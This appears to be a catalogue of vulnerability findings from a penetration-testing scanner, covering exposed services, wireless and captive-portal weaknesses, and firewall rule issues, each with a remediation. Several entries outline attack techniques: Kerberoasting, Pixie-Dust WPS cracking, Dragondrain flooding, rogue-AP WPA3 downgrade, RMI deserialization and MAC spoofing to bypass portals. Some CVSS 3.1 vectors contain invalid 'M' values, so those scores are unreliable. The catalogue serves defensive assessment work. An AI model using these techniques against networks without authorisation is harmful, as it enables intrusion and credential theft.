CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
HIGH SS3-088 — Public Exploit Available
Description: A public proof-of-concept or weaponised exploit was found for a vulnerability identified during the scan, sourced from ExploitDB, GitHub, or a vulnerability intelligence feed. The availability of a public exploit significantly lowers the skill barrier for exploitation and increases the likelihood of opportunistic attacks. The associated CVE, exploit source, and affected component are recorded in the finding evidence.
Remediation: Treat the associated vulnerability as high priority for immediate patching. Apply vendor patches or mitigations. Implement compensating controls (WAF virtual patching, network segmentation, IDS/IPS signatures) until patches are applied. Monitor threat intelligence feeds for active exploitation indicators.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
HIGH SS3-089 — Metasploit Module Available
Description: A Metasploit Framework module (auxiliary scanner or exploit) was identified that matches a vulnerability or service version detected during scanning. The specific Metasploit module path is recorded in the finding evidence. The availability of a Metasploit module indicates reliable, automated exploitability and lowers the barrier to exploitation for unskilled attackers. This finding is recorded for consultant reference; Scattershot3 does not automatically execute exploit modules.
Remediation: Apply vendor patches for the underlying vulnerability. Review the Metasploit module documentation for detailed exploitation conditions and implement appropriate compensating controls (network segmentation, WAF rules, IDS signatures) until patching is complete.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
HIGH SS3-091 — Deprecated Protocol Enabled
Description: A deprecated network protocol is enabled on this host. Deprecated protocols lack modern security controls including strong authentication and encryption, have known cryptographic weaknesses or design flaws, and are no longer maintained by their developers. Examples include Telnet, RSH, RLOGIN, SNMPv1/v2, RIPv1, and older versions of SMB. The specific protocol is recorded in the finding evidence.
Remediation: Disable the deprecated protocol and replace with a modern, secure alternative. Telnet: use SSH. SNMPv1/v2: use SNMPv3 with authentication and encryption. RIPv1: use RIPv2 or OSPF. Review all network service configurations for use of deprecated protocols.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-7
PCI DSS 4: 4.2.1, 4.2.2
HIGH SS3-107 — OS End-of-Life (Extended Support)
Description: The operating system is within its Extended Support (or Extended Security Updates) period, meaning the vendor continues to provide security patches but only under a paid extended support programme or with limited scope. Standard feature updates and non-security bug fixes may no longer be available. Extended support is a transitional state — the OS will reach full EOL at the extended support end date, and migrations to supported platforms should be planned urgently.
Remediation: Plan and execute an OS upgrade to a current, fully supported version within the extended support window. Verify that extended support is active and patches are being applied. Treat any end of extended support date as a hard deadline for migration and allocate project resources accordingly.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, SA-22, CM-8
PCI DSS 4: 6.3.3, 12.3.4
HIGH SS3-109 — Known Vulnerability
Description: A known vulnerability was identified in a service, application, or operating system component on the target host, matched by version fingerprint or active probe against a vulnerability database. The associated CVE, affected component, version, and evidence are recorded in the finding details. Known vulnerabilities matched by version fingerprint may or may not be exploitable depending on the specific build, configuration, or mitigating controls present.
Remediation: Apply the vendor-supplied patch or upgrade for the identified CVE. Verify the patch resolves the specific CVE by checking the vendor security advisory. If patching is not immediately possible, implement compensating controls (network segmentation, WAF, IDS/IPS signatures) and prioritise remediation based on CVSS score and exploitability.
Effort: Medium
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1210 (Lateral Movement)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
HIGH SS3-110 — Vulners CVE Match
Description: The Vulners vulnerability intelligence API returned a CVE match for the service version detected during port scanning. Vulners correlates Nmap service version banners against a comprehensive database of public CVEs and exploits. The reported CVSS score, CVE identifier, and exploit availability are drawn from the Vulners API response and are recorded in the finding evidence. The actual exploitability may vary depending on target configuration, patch level, and compensating controls.
Remediation: Review the specific CVE(s) identified and apply vendor patches. Consult the NVD entry and vendor security advisory for detailed remediation guidance. Prioritise findings with associated public exploits. Verify patch currency via authenticated vulnerability scanning after remediation.
Effort: Medium
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1210 (Lateral Movement)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
HIGH SS3-179 — SSH Vulnerability: {cve_id}
Description: ssh-audit matched the SSH server's banner against its built-in CVE database and identified one or more known vulnerabilities affecting the running version of OpenSSH, Dropbear, or Tectia SSH. The CVE ID, CVSS score, and a short description are recorded in the finding Output field; full details are available in the saved ssh-audit JSON report.
Impact: Depending on the specific CVE, an attacker may achieve remote code execution, authentication bypass, user enumeration, host-key spoofing, denial of service, or memory disclosure. Banner-matched CVEs are pre-exploit indicators — the host running an affected version is the necessary precondition for exploitation, even when no public PoC has been tested against this specific deployment.
Remediation: Patch the SSH server to a release that fixes the CVE. For OpenSSH, upgrade via the operating system package manager (apt / dnf / pkg / yum). For embedded SSH stacks (Dropbear, Tectia, network appliances), apply vendor firmware updates. Where patching is not immediately feasible, restrict SSH access to trusted source IPs via firewall and monitor authentication logs for exploit attempts.
Effort: Moderate
NIST 800-53: SC-8, SC-13, SI-2
HIGH SS3-186 — Telnet Service Exposed — Cleartext Protocol
Description: A Telnet service is exposed on the network. Telnet transmits all data including credentials in cleartext, making it trivially interceptable.
Impact: All data transmitted via Telnet, including usernames and passwords, can be captured by any attacker with network access. This enables credential theft and subsequent unauthorized access.
Remediation: Disable Telnet and replace with SSH for remote administration. If Telnet is operationally required, restrict access to trusted networks and monitor sessions.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: SC-8, SC-8(1), IA-2
PCI DSS 4: 2.2.1, 4.2.1
HIGH SS3-190 — Rsync: Anonymous Module Access
Description: The rsync daemon allows anonymous listing and potentially read/write access to shared modules without authentication.
Impact: An attacker can enumerate and download files from shared rsync modules, potentially accessing configuration files, credentials, source code, or sensitive data. Write access enables malware deployment.
Remediation: Configure rsync modules to require authentication (auth users + secrets file). Restrict access by IP via hosts allow/deny. Disable rsync if not required.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1039 (Collection)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.1
HIGH SS3-191 — Java RMI Registry Exposed
Description: A Java RMI registry is exposed on the network. The JRMI handshake was confirmed. Exposed RMI registries are vulnerable to deserialization attacks via ysoserial payloads.
Impact: An attacker can exploit Java deserialization vulnerabilities to achieve remote code execution on the server. Exposed RMI registries are a well-known exploitation vector with readily available tooling.
Remediation: Restrict RMI registry access to localhost or trusted networks via firewall rules. Implement JMX authentication. Use serialization filters (JEP 290) to prevent deserialization attacks.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A08:2021
MITRE ATT&CK: T1203 (Execution)
NIST 800-53: SI-10, AC-3
PCI DSS 4: 6.2.4
HIGH SS3-193 — Elasticsearch: Unauthenticated Access
Description: Elasticsearch is accessible without authentication. Cluster health, indices, and all stored data can be queried and modified by any network-accessible client.
Impact: An attacker can read, modify, or delete all indexed data which may include PII, credentials, logs, and business-critical information. The cluster can also be used as a data exfiltration staging point.
Remediation: Enable Elasticsearch security features (X-Pack Security or OpenSearch Security). Configure TLS and role-based access control. Bind to localhost or trusted interfaces only.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1213 (Collection)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 2.2.1, 7.2.1
HIGH SS3-194 — MQTT Broker: No Authentication Required
Description: The MQTT broker accepted a CONNECT packet without credentials (CONNACK return code 0x00), confirming no authentication is required.
Impact: An attacker can subscribe to all topics to intercept sensitive IoT/SCADA telemetry data, and publish malicious messages to manipulate connected devices or trigger unsafe actuator commands.
Remediation: Enable MQTT authentication with username/password or client certificates. Configure ACLs to restrict topic access per client. Enable TLS encryption.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1071.001 (Command and Control)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 2.2.1
HIGH SS3-203 — Jenkins: Unauthenticated Management Console
Description: The Jenkins management console at /manage is accessible without authentication, exposing system configuration, plugin management, and credential stores.
Impact: An attacker can view and modify system configuration, install malicious plugins, access stored credentials, and manipulate build infrastructure.
Remediation: Configure Jenkins authentication and authorization. Restrict /manage access to authenticated administrators only. Enable a security realm.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 2.2.1
HIGH SS3-204 — Kerberoastable Service Accounts Identified
Description: Service accounts with registered Service Principal Names (SPNs) were identified via Kerberos TGS-REP ticket requests. The extracted TGS tickets are crackable offline.
Impact: An attacker can request TGS tickets for SPN-registered service accounts and crack them offline with hashcat/john. Compromised service accounts often have elevated privileges, enabling domain privilege escalation.
Remediation: Use Group Managed Service Accounts (gMSA) with automatically rotated 120-character passwords. For legacy SPNs, enforce 25+ character passwords. Use AES256 encryption for Kerberos tickets. Monitor for TGS-REQ anomalies.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1558.003 (Credential Access)
NIST 800-53: IA-5, IA-5(1), AC-2
PCI DSS 4: 8.3.6, 8.6.3
HIGH SS3-215 — Unauthenticated X11 Display Access
Description: An X11 display server accepts connections without authentication. The service responded to either xdpyinfo queries or raw X11 protocol handshake without requiring XAUTH/MIT-MAGIC-COOKIE credentials.
Impact: An attacker can capture screen contents in real-time, inject keystrokes and mouse events, monitor all user activity on the display, and potentially execute arbitrary commands through keystroke injection. This provides full visibility into and control over the user's desktop session.
Remediation: Disable remote X11 connections or enforce XAUTH/MIT-MAGIC-COOKIE authentication. Configure X11 to listen only on localhost (-nolisten tcp). Use SSH X11 forwarding instead of direct X11 connections. Apply firewall rules to block ports 6000-6063 from untrusted networks.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: N/A
MITRE ATT&CK: T1056.001 (Collection), T1113 (Collection), T1021 (Lateral Movement)
NIST 800-53: AC-17, AC-3
PCI DSS 4: 2.2.4
HIGH SS3-218 — Weak Credentials: {SERVICE}
Description: brutespray confirmed that a network service accepts weak or easily guessable credentials. The service authenticated successfully with a non-default but weak username/password combination.
Impact: An attacker can authenticate to the service using credentials that are easily guessable or present in common wordlists. This may provide unauthorized access to sensitive data, the ability to modify configurations, or a foothold for lateral movement within the network.
Remediation: Enforce strong password policies with minimum length, complexity, and rotation requirements. Implement account lockout after failed attempts. Deploy multi-factor authentication where possible.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
MEDIUM AETHER-008 — WPA3 SAE Resource Exhaustion (Dragondrain) Tested
Description: The target AP was subjected to the Dragondrain SAE commit-flooding attack (CVE-2019-9496). The AP was flooded with forged SAE Commit messages using spoofed source MAC addresses at high rate, targeting curve group 21 (521-bit elliptic). If the AP does not implement anti-clogging tokens or rate limiting, this causes CPU exhaustion and potential denial of service affecting legitimate clients.
Remediation: Apply firmware updates that implement SAE anti-clogging (as specified in IEEE 802.11-2020 Section 12.4.6). Anti-clogging tokens force clients to echo a token before the AP performs expensive elliptic-curve computations, preventing CPU exhaustion. Also enable rate limiting on SAE Commit frames per source MAC address. Update to hostapd 2.10+ which includes anti-clogging support.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
MEDIUM AETHER-014 — Open / Unencrypted Wireless Network
Description: The target network operates without wireless encryption (open authentication, no WEP/WPA). All data is transmitted in cleartext and can be captured passively by any device within radio range. HTTP sessions, credentials, emails, DNS queries, and file transfers are fully exposed without any evidence of interception.
Remediation: Enable WPA3-Personal (SAE) or WPA2-Personal (CCMP/AES). If the network is intentionally open (guest portal, public hotspot), enforce TLS for all services, enable AP client isolation, and display a legal notice. Consider 802.11u Hotspot 2.0 / Passpoint for authenticated open networks that do not require a pre-shared key.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MEDIUM AETHER-015 — WPS Enabled on Access Point
Description: Wi-Fi Protected Setup (WPS) is enabled on the target AP. WPS PIN-based authentication has a fundamental design flaw: the 8-digit PIN is verified in two independent 4-digit halves, reducing the effective keyspace from 10^8 to ~11 000 attempts. Many APs are additionally vulnerable to the Pixie-Dust attack (CVE-2014-9527), which recovers the WPS PIN offline in seconds from weak nonce values. A successful WPS attack recovers the full WPA2 PSK regardless of its length or complexity.
Remediation: Disable WPS on the AP if it is not operationally required. If WPS is required, ensure the AP uses WPS 2.0 with lockout after 3 failed attempts and verify Pixie-Dust mitigation is implemented in the firmware. Apply all vendor firmware updates. Note: WPS cannot be safely enabled on APs with Broadcom or Ralink chipsets without explicit Pixie-Dust patches.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MEDIUM AETHER-016 — WPA3 Transition Mode — Downgrade Attack Surface
Description: The target AP is operating in WPA3-Transition mode (WPA2/WPA3 mixed mode), simultaneously supporting both WPA2 and WPA3 clients. An attacker can deploy a rogue AP advertising only WPA2 with the same SSID. Clients configured for transition mode will connect via WPA2, exposing their 4-way handshake to standard offline dictionary cracking. This is the most practical WPA3 attack vector in real-world deployments. Tools: DragonShift, hostapd-mana.
Remediation: Migrate to WPA3-only mode when all client devices support WPA3-SAE. In the interim, enable 802.11w (PMF) as mandatory — this prevents deauthentication-based downgrade forcing. Audit which clients cannot support WPA3 and establish a remediation timeline. Consider a separate SSID for legacy WPA2 clients rather than running mixed mode on the primary SSID.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
MEDIUM AETHER-022 — Protected Management Frames (PMF / 802.11w) Not Enforced
Description: The target AP does not require Protected Management Frames (PMF/802.11w). A deauthentication or disassociation frame sent by an attacker was accepted by the AP or client, demonstrating that management frames are not authenticated. This allows an attacker in radio range to force client disconnections, enabling evil twin and MITM attacks.
Remediation: Enable PMF (802.11w) set to Required on all enterprise APs. WPA3 mandates PMF by default. Verify that both AP and client supplicant support and enforce PMF. On WPA2 networks, set ieee80211w=2 in hostapd configuration.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H
MEDIUM AETHER-023 — BSS Transition Management (802.11v) Hijack Accepted
Description: A crafted BSS Transition Management (BTM) request (802.11v, Category 10 Action 7) was accepted by a client, causing it to roam to an attacker-specified BSSID. This attack allows an attacker to redirect clients to a rogue AP without deauthentication, potentially bypassing PMF protections on WPA2 networks that do not protect Action frames.
Remediation: Enable PMF Required (802.11w=2) to protect Action frames including BTM requests. Audit roaming policies and consider disabling 802.11v BTM on networks where roaming is not required. Upgrade affected clients and APs to firmware versions that validate BTM request authenticity.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:L
MEDIUM AETHER-026 — SAE Transition Mode — WPA2 Downgrade Attack Surface
Description: The target AP operates in WPA3/WPA2 transition mode and a WPA2-only rogue AP was created with the same SSID. Clients supporting both WPA3-SAE and WPA2-PSK may associate with the rogue WPA2-only AP, losing the security guarantees of SAE. This enables legacy WPA2 attacks including PMKID capture and handshake-based cracking against previously WPA3-protected clients.
Remediation: Disable WPA3/WPA2 transition mode and enforce WPA3-SAE only once all clients support it. If transition mode is required, enable PMF Required (802.11w=2) on both the WPA2 and WPA3 BSSIDs. Implement WIDS to detect duplicate SSIDs advertising different security capabilities.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
MEDIUM AETHER-030 — TKIP Encryption in Use
Description: The target network uses TKIP (Temporal Key Integrity Protocol), a deprecated encryption scheme that was introduced as a quick fix for WEP and was officially deprecated by the IEEE 802.11 standard in 2012. TKIP is vulnerable to the Beck-Tews and Ohigashi-Morii attacks (ChopChop/fragmentation), allowing an attacker to partially decrypt and inject short packets without the key.
Remediation: Disable TKIP and require CCMP (AES) as the only permitted pairwise cipher. Set rsn_pairwise=CCMP and wpa_pairwise=CCMP in hostapd configuration, or equivalent settings in the AP's admin interface. Remove WPA1/TKIP-only client support — all modern clients support CCMP.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
MEDIUM AETHER-034 — Captive Portal Bypass Confirmed
Description: The target captive portal was bypassed using one or more techniques: DNS tunnelling (exfiltrating data via DNS queries to an external resolver), MAC address spoofing (cloning the MAC of an already-authenticated client), or direct HTTPS access to allowed domains before portal authentication. This allows an attacker to gain full internet access without completing the required authentication or payment flow.
Remediation: Enforce captive portal controls at the IP layer rather than relying solely on DNS. Block all outbound DNS except to the captive portal resolver. Implement MAC address validation in conjunction with IP binding and session tokens. Use HTTPS for the captive portal itself to prevent credential interception.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
MEDIUM AETHER-CAP-HTTP-DIRECT — Captive Portal: Direct HTTP to Arbitrary IP Pre-Authentication
Description: Direct HTTP to an arbitrary IP address (without DNS lookup) succeeded from an unauthenticated client. The captive portal is filtering by Host header / DNS rather than at the IP-egress layer.
Impact: Attacker can reach any internet host on port 80 without authenticating. While bandwidth is the primary asset stolen here, this also enables retrieval of subsequent-stage payloads, beaconing, and reach to attacker-controlled HTTP infrastructure on commodity IPs.
Remediation: Confirm the captive portal applies its HTTP redirect to ALL outbound HTTP traffic (port 80), not only requests with specific Host headers. Many vendors only intercept HTTP redirects, leaving direct IP-addressed HTTP (curl http://1.1.1.1/) unblocked. Move enforcement to the IP layer with explicit deny rules in the firewall for the unauthenticated VLAN.
Effort: Easy
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1071.001 (Command and Control)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 1.2.1
MEDIUM AETHER-CAP-HTTPS-DIRECT — Captive Portal: Direct HTTPS to Arbitrary IP Pre-Authentication
Description: Direct HTTPS to an arbitrary IP address succeeded from an unauthenticated client. The captive portal does not block outbound port 443 pre-authentication.
Impact: Attacker can establish encrypted connections to arbitrary internet hosts (C2, exfil, content delivery, VPN-over-HTTPS) without authenticating. Because the channel is encrypted, the portal vendor has no visibility into what's being transferred. Often easier to exploit than HTTP bypass because portal vendors typically focus interception on the HTTP redirect layer.
Remediation: HTTPS bypass is harder for portals to intercept than HTTP because TLS cannot be transparently redirected — block port 443 outbound from the unauthenticated VLAN entirely until authentication completes. Inspect the captive portal vendor's documentation for the 'block all egress until auth' or 'pre-authentication firewall mode' setting.
Effort: Easy
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1071.001 (Command and Control), T1573 (Command and Control)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 1.2.1
MEDIUM AETHER-CERT-002 — Server Certificate Expired or Expiring Soon
Description: The RADIUS server certificate has either passed its Not After date (expired) or is within 30 days of expiry. EAP-TLS authentication fails closed when the server cert expires, causing service outage for all wireless clients.
Impact: Service outage at expiry. Pressure to rapidly issue a replacement cert can lead to operational shortcuts (e.g., re-using the same private key, choosing a longer-than-policy validity, omitting cert pinning verification).
Remediation: Replace the cert immediately. Add 60-day-prior and 30-day-prior monitoring alerts to the cert lifecycle process. Document the renewal procedure in the wireless operations runbook.
Effort: Easy
MEDIUM AETHER-CERT-003 — Server Certificate Self-Signed or From Unrecognised CA
Description: The RADIUS server certificate is self-signed (Subject == Issuer) or issued by a CA not present in the standard public root store. While valid for internal deployments, this requires every client to be explicitly configured to trust the specific cert or CA — a common misconfiguration vector.
Impact: Clients with poor cert-validation configuration ("Trust Any Certificate" or no CA pin) will accept ANY self-signed cert presented by a rogue authenticator. Evil-twin attacks become trivially successful.
Remediation: Either move to a public-CA-signed cert OR enforce CA pinning + 'Validate server certificate' = ON across all client supplicants via MDM / GPO policy. Document the cert thumbprint and require clients to verify against it.
Effort: Moderate
MEDIUM AETHER-CERT-004 — Server Certificate Issuer Reveals Internal CA Infrastructure
Description: The Issuer field of the RADIUS server certificate contains terms suggesting an internal Certificate Authority (e.g., CN=corp-CA-01, CN=AD-CA, CN=Internal-Root). This is informational reconnaissance value — it confirms the existence and naming convention of an internal PKI.
Impact: An attacker learns the internal CA naming convention, which feeds into Active Directory / network-topology reconnaissance. Combined with other findings (cert SAN disclosure, EAP identity leakage) the attacker maps the corporate auth infrastructure without authenticated access.
Remediation: Use a public-CA-signed cert for the RADIUS server. Where internal CA must be used, anonymise the Issuer CN to avoid topology disclosure (CN=Auth-Services-01 rather than CN=corp-AD-CA-01).
Effort: Moderate
MEDIUM AETHER-EAPTLS-001 — EAP Outer Identity Leaks User-Realm Format
Description: The EAP-Response/Identity message (the OUTER EAP identity sent in cleartext before TLS negotiation) contains a username component (user@realm) rather than the recommended anonymous@realm or @realm form. This leaks usernames to any passive on-path observer.
Impact: Reveals the entire active user population to anyone in RF range. Combined with username-enumeration findings on other systems (Active Directory, email server) this is a high-value reconnaissance source for credential-spray attacks.
Remediation: Configure all supplicants to use an anonymous outer identity. On Windows GPO: Wireless Network (IEEE 802.11) Policies → properties → Security → Settings → Advanced → Enable Identity Privacy. On Linux NetworkManager: anonymous_identity setting. On macOS / iOS: configure via MDM profile.
Effort: Moderate
MEDIUM AETHER-EAPTLS-003 — Client Supplicant Attempts Authentication Against Rogue AP
Description: A client supplicant attempted EAP authentication against an unauthorised AP impersonating the corporate SSID, then aborted when server cert validation failed. The cert validation worked correctly (positive sub-finding), but the connection attempt itself reveals the client's interest in the SSID and exposes the client MAC address and outer identity to the attacker.
Impact: Attacker harvests client MAC addresses, vendor OUI, and outer identity strings without breaking authentication. Useful for client-side targeting and reconnaissance even when the cert exchange is rejected.
Remediation: Configure clients to scrutinise the BSSID of authorised APs (not just SSID), and apply MAC-based scoping in the supplicant where the platform supports it. Reduce SSID broadcast attractor surface (e.g., disable beacon broadcast on the corp SSID if a hidden-SSID model is preferred).
Effort: Moderate
MEDIUM AETHER-IPSK-002 — iPSK Suspected — Per-Client PMKID Variance Observed
Description: Multiple clients associated to the same WPA2-PSK SSID exhibited distinct PMKIDs in captured EAPOL frames. This is the structural signature of Identity PSK (each client has its own PSK and therefore its own PMK). Distinguishes iPSK from standard shared-PSK WPA2.
Impact: Confirms an iPSK deployment is in use. If unique-per-device PSK assignment is the security posture being relied on, the MAC-inheritance test (AETHER-IPSK-001) is the natural follow-on validation.
Remediation: No action — informational confirmation. Use as supporting evidence for AETHER-IPSK-001 and AETHER-IPSK-003 findings.
Effort: n/a
MEDIUM AETHER-IPSK-003 — iPSK SSID Deployed Alongside Cert-Auth SSID on Same Physical AP
Description: An iPSK SSID shares a physical AP with a cert-authenticated SSID. The wireless infrastructure security posture is now bounded by the WEAKER of the two — if VLAN isolation is misconfigured, compromise of iPSK leads to access in the cert-auth segment's broadcast domain.
Impact: The cert-auth SSID's strong authentication is only as effective as the network segmentation it sits behind. iPSK-derived access can become lateral movement opportunity.
Remediation: Verify per-SSID VLAN isolation, switchport ACLs, and inter-VLAN routing controls. Conduct a post-authentication test from the iPSK SSID specifically looking for visibility of cert-auth-segment hosts.
Effort: Moderate
MEDIUM AETHER-SPLASH-001 — Captive Portal Session Bound To MAC Alone
Description: The captive portal (splash page) session is identified by the client's MAC address alone, with no secondary binding. An attacker who observes a legitimate authenticated client's MAC can spoof it to inherit the splash session.
Impact: An attacker bypasses the splash page entirely (no terms acceptance, no auth, no rate limiting) by cloning an authenticated MAC. Splash-mediated controls (time limit, bandwidth quota, terms enforcement) are defeated.
Remediation: Bind the splash session to additional signals: short-lived cookie, IP+MAC composite, or RADIUS-issued session token. Set short session timeouts and require re-auth periodically.
Effort: Moderate
MEDIUM AETHER-SPLASH-003 — Captive Portal ICMP Bypass — External Echo Pre-Auth
Description: ICMP echo (ping) to external hosts succeeds before splash auth completion. While less exploitable than DNS bypass, this confirms that L3 firewall rules don't strictly enforce the pre-auth state.
Impact: Useful as a network reachability probe by unauthenticated users; minor abuse vector for ICMP-based covert channels.
Remediation: Drop ICMP from pre-auth clients destined outside the splash page's local subnet at the AP/firewall.
Effort: Moderate
MEDIUM BA-004 — Duplicate Firewall Rules Detected
Description: Two or more firewall rules have identical source, destination, port, and action specifications. Duplicate rules indicate policy bloat and maintenance issues.
Impact: Duplicate rules increase management overhead, create confusion during incident response, and may indicate the policy review process is not working correctly.
Remediation: 1. Identify and remove all duplicate rules. 2. Implement a rule review process that checks for duplicates before policy deployment. 3. Use firewall management tools that flag duplicate rules automatically.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N
MEDIUM BA-005 — Shadowed Rules — Unreachable Policy Entries
Description: One or more firewall rules are completely covered (shadowed) by earlier, broader rules and will never be evaluated. Shadowed rules indicate policy maintenance issues and potential security gaps.
Impact: Shadowed rules are never executed. If the shadowing rule has a different action than the shadowed rule, traffic may be handled contrary to policy intent.
Remediation: 1. Reorder rules so more specific rules precede broader rules. 2. Remove rules that are completely redundant given preceding rules. 3. Implement rule ordering verification in change management process.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
MEDIUM BA-010 — FTP Permitted Through Firewall
Description: A firewall rule permits FTP (TCP 20/21). FTP transmits credentials and data in plaintext and supports anonymous authentication by default on many implementations.
Impact: FTP credentials and file contents are transmitted in cleartext. Anonymous FTP can expose sensitive files. FTP's PORT command can be abused for firewall bypass (FTP bounce attacks).
Remediation: 1. Replace FTP with SFTP (SSH File Transfer Protocol) or FTPS (FTP over TLS). 2. If FTP must be used, restrict to internal networks only. 3. Disable anonymous FTP. 4. Implement strict file transfer policies.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-8
MEDIUM BA-021 — NTP Access Not Restricted to Trusted Sources
Description: A firewall rule permits NTP (UDP 123) from any source without restriction. Open NTP servers can be abused for reflection/amplification DDoS attacks.
Impact: Unrestricted NTP access enables use of the firewall's internal NTP infrastructure as a DDoS amplification source. NTP amplification attacks achieve amplification factors of up to 556x.
Remediation: 1. Restrict NTP to specific trusted time sources (external) and internal clients only. 2. Disable NTP monlist and other amplification-capable commands. 3. Rate-limit NTP responses.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
NIST 800-53: SC-7
MEDIUM BA-030 — Deny Rules Without Logging Enabled
Description: One or more deny rules do not have logging enabled. Blocked connection attempts are not captured in firewall logs.
Impact: Without logging on deny rules, attack attempts against blocked services are invisible. Security teams cannot detect port scans, reconnaissance, or blocked attack attempts.
Remediation: 1. Enable logging on all deny rules, particularly the default-deny rule. 2. Use logging levels that capture the necessary detail (source IP, destination, port, protocol). 3. Implement log aggregation and alerting for suspicious deny patterns.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:N/A:N
NIST 800-53: AU-2
MEDIUM BA-035 — Server-to-Workstation Traffic Unrestricted
Description: No rules restrict east-west traffic between server and workstation segments. Servers can initiate connections to workstations and vice versa without inspection.
Impact: Unrestricted server-to-workstation traffic enables ransomware propagation, lateral movement from compromised servers to workstations, and from workstations to servers.
Remediation: 1. Implement east-west segmentation between server and workstation VLANs. 2. Deny all server-initiated connections to workstation networks. 3. Permit only required application ports from workstations to servers. 4. Implement network monitoring to detect anomalous east-west traffic.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: SC-7
MEDIUM BA-037 — 1:1 Static NAT Exposes Internal Host Directly to Internet
Description: A 1:1 static NAT mapping exposes an internal host directly to the internet with full port translation. All ports on the internal host are potentially reachable.
Impact: Static NAT 1:1 mappings expose the complete attack surface of the mapped internal host. Any vulnerability on that host is directly exploitable from the internet.
Remediation: 1. Replace 1:1 static NAT with port-specific NAT where possible. 2. Implement access control lists in combination with static NAT. 3. Only expose specific required ports, not the full host. 4. Move services requiring internet exposure to a DMZ with strict policies.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
